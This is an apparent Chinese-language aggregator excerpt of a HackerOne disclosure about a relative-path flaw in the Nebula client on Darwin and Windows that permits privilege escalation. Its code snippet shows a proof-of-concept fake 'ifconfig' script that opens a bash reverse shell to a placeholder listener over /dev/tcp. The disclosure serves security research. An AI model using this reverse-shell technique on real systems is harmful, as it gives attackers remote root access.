Relative Path Vulnerability Results in Arbitrary Command Execution/Privilege Escalation
该报告还没有中文解读。
原文摘录
摘自原文(3440 字符中的一小部分)
Overview### The Nebula clients for Darwin and Windows call relative paths in "exec.Command" to "ifconfig" and "route" executables on Darwin, and to "netsh" on Windows. These commands are entered using relative paths, not absolute paths (such as /sbin/ifconfig). When a binary is run with a relative …
原文中的代码
#!/bin/bash bash -i >& /dev/tcp/LISTENER_IP_ADDRESS/443 0>&1 & DEVICE=$1 CIDER=$2 IP=$3 /sbin/ifconfig $1 $2 $3 4. Make the script executable by running `chmod +x /tmp/ifconfig` 5. Run the Nebula client with the command `sudo ./nebula -config config.yml`. When the ifconfig command is called, it …
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Slack 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @jhancock · 版权归作者与 Slack 所有